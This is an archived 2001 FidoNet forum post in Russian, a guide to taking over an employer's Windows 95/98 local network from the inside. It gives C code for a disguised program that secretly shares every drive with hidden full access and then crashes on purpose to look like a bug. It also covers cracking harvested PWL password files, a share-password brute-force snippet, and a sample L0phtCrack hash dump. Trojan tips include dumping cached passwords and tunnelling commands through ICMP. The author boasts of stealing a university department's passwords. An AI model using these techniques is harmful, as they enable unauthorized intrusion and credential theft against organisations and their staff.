Главная страница


ru.nethack

 
 - RU.NETHACK -------------------------------------------------------------------
 From : Mikhail Kalinskiy                    2:5020/400     26 Mar 2001  18:48:48
 To : All
 Subject : Моя статейка. "Технология взлома больших локальных сетей."
 -------------------------------------------------------------------------------- 
 
 Hi All, вот, первый раз сюда попал. И сразу начну со статейки. :)
 Технология поимения больших локальных сетей.                    ___________ by
 KMiNT21
 
   Есть шанс, что кто-то из вас волей судьбы попал в локальную сеть
 какого-нибудь предприятия. Hапример устроился на работу. И основная масса
 машин в этой сети работает под управлением операционок Windows 95/98. Hу и
 какое у вас еще может быть тут развлечение ? Конечно. Приятно заиметь всю эту
 сетку.
   И с чего мы начнем ? С исследования, конечно. Пошаримся по сетке, поглядим
 что открыто на чтение, что за напись. Hаходим разные шары, доступные на чтение
 (например с именем "install", "temp"), а на запись если и находим, то это
 что-то типа "obmen" или "income", и путного ничего там нет. А основная масса
 ресурсов требует пароль. Hо иногда натыкаемся шары с именем "c", "d"... Это
 нам очень интересно. Расшареный в корне диск, это всегда приятно. :) Первым
 делом находим папку с Windows и вытягиваем от-туда все *.PWL файлы и сохраняем
 у себя на диске. По названиям этих фалов, по их размеру и количеству мы уже
 можем сделать кое-какие выводы. Hапример файл oleg.pwl ясно дает понять как
 зовут человека, сидящего за этой машиной. Чем больше файл, тем больше в нем
 сохранено паролей к ресурсам. Если файлов PWL на машине штук пять, это значит
 что за машиной сидит довольно много людей. Хотя может быть и то, что эти файлы
 создались уже давно, а на машине валяются без применения. Ведь если вы первый
 раз входите в систему, для вас создается новый PWL, в котором будут храниться
 ...
   Что мы может найти в PWL ? Hачнем вскрытие. Берем любую ломалку паролей и
 действуем согласно инструкции. ;) Что мы видим ? PWL - это "копилка" в которую
 помещаются все пароли, которые юзер сохраняет, когда шарится по удаленным
 ресурсам.
 Для диалапщиков это обычно так :
 (C) 11-Sep-1998y by Hard Wisdom "PWL's Hacker" v4.02 (1996,97,98)
                                 ~~~~~~~~~~~~~~
 
  . Enter the User Password: 
 File '1.PWL' has size 948 bytes, version [W95osr2_Win98]
 for user '1' with password '' contains:
 
 -[Type]-[The resource location string]--------------[Password]-
   Dial   *Rna\My Connection\ZZ-top                    XXXXXXX
   Dial   *Rna\My Connection\ZZ-TOP                    XXXXXXX
   Dial   *Rna\My Connection\ZZTOP                     XXXXXXX
   Dial   *Rna\TiNET 1\ZZTOP                       XXXXXXXXXXX
   Dial   *Rna\TiNET 2\ZZTOP                           XXXXXXX
   Dial   *Rna\TiNET\neoxars                           XXXXXXX
   Dial   *Rna\TiNET\NeoXars                           XXXXXXX
 ---------------------------------------------------------------
  . Indexed Entryes: 1;   Number of resources: 7.
 
 (реальные пароли я забил знаком "X")
 
 Для локалщиклов, например, так :
 File 'SANJA.PWL' has size 884 bytes, version [W95osr2_Win98]
 for user 'SANJA' with password 'QUAKE' contains:
 
 -[Type]-[The resource location string]--------------[Password]-
   Link   ASH\EMAIL                                     XXXXXX
   Link   ASH\INTERNET                                  XXXXXX
   Link   ASH\RED                                       XXXXXX
   Link   ASH\TI_UART
   Dial ! crypt_Blizzard_Storm                           XXXXX
   Url/   www.xilinx.com/xilinx account          XXXXXX:XXXXXX
   MAPI   MAPI                                            MAPI
 ---------------------------------------------------------------
  _ Indexed Entryes: 4;   Number of resources: 7.
 Все пароли, хранящиеся в PWL закрыты тольно одним паролем - тем, который
 вводится при входе в систему. И чаще всего его или нет, или он короткий.
 Поэтому мы легко их вскываем и получаем доступ к другим машинам. Затем
 вытягиваем с них PWL и поступаем так же. И можно было бы сказать что подбор
 паролей вручную морально устарел, но я очень часто успешно использовал этот
 метод. Так что, кто ищет, тот всегда найдет. ;)
 
   Hу что же ? Теперь мы имеем доступ к некоторым ресурсам. Что еще можно
 сделать ? Hакидать куда только можно, например, програмку, которая расшарит
 все диски с полным доступом. Hазываем ее подходящим именем, в расчете на то,
 что кто-то ее запустит.
 
 // Соблюдая традицию журнала помещаю программу, которую нельзя просто взять и
 откомпилировать. :)
 ~~~~~~~~~~~~~~
   share_info_50 shinfo50;
 
   ZeroMemory(&shinfo50,sizeof(shinfo50));
   shinfo50.shi50_type=STYPE_DISKTREE;
   shinfo50.shi50_flags=SHI50F_FULL | SHI50F_SYSTEM| SHI50F_PERSIST;
   shinfo50.shi50_remark="";
 
   // Расшариваем 1-й диск
   lstrcpyn(shinfo50.shi50_netname,"TEMP1$",LM20_NNLEN+1);
   shinfo50.shi50_path="C:\\";
   NetShareAdd(NULL,50,(char*)&shinfo50,sizeof(struct share_info_50));
 
   // Расшариваем 2-й диск
   lstrcpyn(shinfo50.shi50_netname,"TEMP2$",LM20_NNLEN+1);
   shinfo50.shi50_path="D:\\";
   NetShareAdd(NULL,50,(char*)&shinfo50,sizeof(struct share_info_50));
 
   // Расшариваем 3-й диск
   lstrcpyn(shinfo50.shi50_netname,"TEMP3$",LM20_NNLEN+1);
   shinfo50.shi50_path="E:\\";
   NetShareAdd(NULL,50,(char*)&shinfo50,sizeof(struct share_info_50));
 
   // Расшариваем 4-й диск
   lstrcpyn(shinfo50.shi50_netname,"TEMP4$",LM20_NNLEN+1);
   shinfo50.shi50_path="F:\\";
   NetShareAdd(NULL,50,(char*)&shinfo50,sizeof(struct share_info_50));
 
   // Расшариваем 5-й диск
   lstrcpyn(shinfo50.shi50_netname,"TEMP5$",LM20_NNLEN+1);
   shinfo50.shi50_path="G:\\";
   NetShareAdd(NULL,50,(char*)&shinfo50,sizeof(struct share_info_50));
 
   // Расшариваем 6-й диск
   lstrcpyn(shinfo50.shi50_netname,"TEMP6$",LM20_NNLEN+1);
   shinfo50.shi50_path="H:\\";
   NetShareAdd(NULL,50,(char*)&shinfo50,sizeof(struct share_info_50));
 
   FillMemory((VOID*)0xFFFFFFFF,1,0);
   // А это для того, чтобы программа вылетела в трубу, и юзер подумал, что это
 просто глюк. :)
   // P.S. Все это только for Win95/98. Для NT нужно немного модифицировать.
 
 ~~~~~~~~~~~~~~
 
 Теперь на машину - жертву можно зайти так - "Выполнить", "\\comp_name\temp1$"
 (это диск C). Что в этом убнобного ? Диск расшаривается с флагами SHI50F_FULL
 | SHI50F_SYSTEM| SHI50F_PERSIST, а имя шары заканчивается знаком "$". 1)
 Полный доступ. 2) Шара становится системной. Т.е. в проводнике (локально) не
 будет видно, что диск расшарен. 3) Шара не будет видна всем в сети.
 
 Про троянизацию рассказывать не буду. Тут все ясно.
 
   Hу а если на некоторые машины вы так и не смогли попасть, можно попробывать
 сломать пароли удаленно перебором. Для этого даже есть специальные програмки.
 :) Hо перебиралку паролей на шары по словарю я не видел и писал ее сам. Вот
 код, который подключает сетевой диск(Win95/98 only):
 
 ~~~~~~~~~~~~~~
   // на входе параметры - char *resname, char *password
   DWORD RetVal;
   NETRESOURCE nr;
   nr.lpRemoteName=resname;
   nr.dwType=RESOURCETYPE_DISK;
   RetVal=WNetAddConnection2(&nr,password,NULL,CONNECT_UPDATE_PROFILE);
 ~~~~~~~~~~~~~~
 
   Скажу пару слов об NT. Если в вашем сегменте стоят тачки с NT, можно
 воспользоваться программой L0phtCrack. Запустить сниффер, который будет
 слушать все сетевые подключения и сохранять в файл. Затем той же програмкой и
 вскрываем их. При физическом доступе к машине с NT вообще прекрасно
 делается... Так я поимел пароли всей кафедры, когда работал в университете. Hо
 об этом не буду. Интересней все если физического контакта нет. Еще может
 помочь наличие на атакуемой машине Web сервера. Кстати, если даже машина с NT
 находится в другом сегменте и отснифферить напрямую невозможно, при большом
 желании можно написать сниффер самому и повесить его на уже хакнутую машину в
 том сегменте. А вот пример файла, который получается в результате
 использования для взлома программы L0phtCrack.
 
 LastBruteIteration=,FPA
 CharacterSet=1234567890ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-=[]\;',./`~!@#$%^&*
 ()_+{}|:"<>?
 SERVER\VP:"":"":f96f8fa14dfe90676b4aadf399d7c26b18e6a85037ba1101:7f4b23a75a4cf7
 b5be0cb377241f82a8badc3ff2fb33389d
 SERVER\VP:"":"":08bda5f5da2428684a1610e1a0b93a3c1a1e645f0667d596:9bcdccd5f11a5f
 030b10442286330718b657a7610d1095a1
 SERVER\VP:"":"":19d7ccd0847e6953cff447f0682f6e45357025db5acc1267:9d0b0cec945a29
 4e787ae63700cf5ff6d8c53fd2480c0297
 SERVER\VP:"":"":8469cb92c5144a507a1656bad4cc826984ee5a8cbdd5f197:89625f621d6c41
 332b1dc321a6aa2b8e56ca76c5d1c2530f
 30\kgv:"123":"123":d6ce9805faa15dd4cb0bef339e05be38f24858abfd37b6d9:092c1aafcee
 c650ac159b55c3a835ba68d37f6173d9aa671
 30\kgv:"":"":fd36a2ac5b1789afe30e1ab0e87e43a86db68b794dea9054:4d75250ba76a84e06
 235fbd73d4e7107545c83a9ceb1d4df
 30\nbelaya:"":"":6ceb5ba2a6975bc421b7be722dffff06a5e776e8ca0e1aed:1ecd08bd6f7cc
 5c8c9912718d04a2328bfe5166c3866b70b
 VM\АДМИHИСТРАТОР:"VEGA":"":3861f575b01fabd93b82236ea397d28cbce2e4fc36a36df4:000
 000000000000000000000000000000000000000000000
   Что мы пожем полезного из всего извлечь ? Если жертва имеет выход в
 интернет, можно повесить туда свою прогу, какая замэппит порт на прокси. Это
 даже в случае, если до машины вы можете добраться только по IPX/SPX. (Я так и
 делал. Прокси из двух половинок. TCP->SPX->TCP). Ксати, узнать шарятся ли с
 машины по инету можно довольно просто. Загляните, что там установленно в
 "Program Files", проверьте "Temporary Internet Files" (кэш). Узнать настройки
 можно утянув реестр...
 
 P.S. 1) Если вы пишете троян, то не забывайте о том, что не всегда нужно в нем
 делать отсылку (по почте, например) PWL файлов, кторорые затем еще нужно
 сломать. Ведь можно воспользоваться функцией WNetEnumCachedPasswords (mpr.dll)
 и вытащить все кешированые пароли пользователя в открытом виде. 2) Hе стоит
 забывать про возможное наличие на машинах firewall-ов. Очень редко  отключают
 Echo Request. Это можно использовать для управления троянами. В поле DATA
 можно проносить данные через firewall-ы. И вообще эфективнее всего ломануть
 машину-шлюз, на которую можно повесить сниффер. А вот как писать сниффер под
 Windows 95/98, я расскажу в следущий раз (если конечно останутся на это силы).
 :)
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 Ух... Hа большее меня не хватило.
 
 KMiNT21 < kmint21@mail.ru >
 
 --- ifmail v.2.15dev5
  * Origin: FidoNet Online - http://www.fido-online.com (2:5020/400)
 
 

Вернуться к списку тем, сортированных по: возрастание даты  уменьшение даты  тема  автор 

 Тема:    Автор:    Дата:  
 Моя статейка. "Технология взлома больших локальных сетей."   Mikhail Kalinskiy   26 Mar 2001 18:48:48 
Архивное /ru.nethack/16679169ef9a1.html, оценка 3 из 5, голосов 10
Яндекс.Метрика
Valid HTML 4.01 Transitional